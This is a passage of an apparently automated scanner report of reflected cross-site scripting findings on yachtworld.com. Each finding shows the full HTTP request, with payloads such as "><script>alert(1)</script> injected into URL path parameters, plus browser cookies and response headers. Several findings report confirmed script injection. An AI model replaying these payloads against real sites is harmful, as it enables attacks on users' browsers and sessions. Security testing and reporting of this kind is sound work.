n%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:27 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b74c5"><a>5815324e127 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Sail/Cruiser/1b74c5"><a>5815324e127 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:00:28 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 932cd"><script>alert(1)</script>309d892b808 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type932cd"><script>alert(1)</script>309d892b808/Albin/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:42 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ed9f"><a>631eb687d93 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Albin5ed9f"><a>631eb687d93/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2533"><script>alert(1)</script>6e8700b67c6 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Albin/1c2533"><script>alert(1)</script>6e8700b67c6 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:56 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c60a0"><a>b2f99649883 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/typec60a0"><a>b2f99649883/Bayliner/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:37 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f037"><a>354b06200d2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
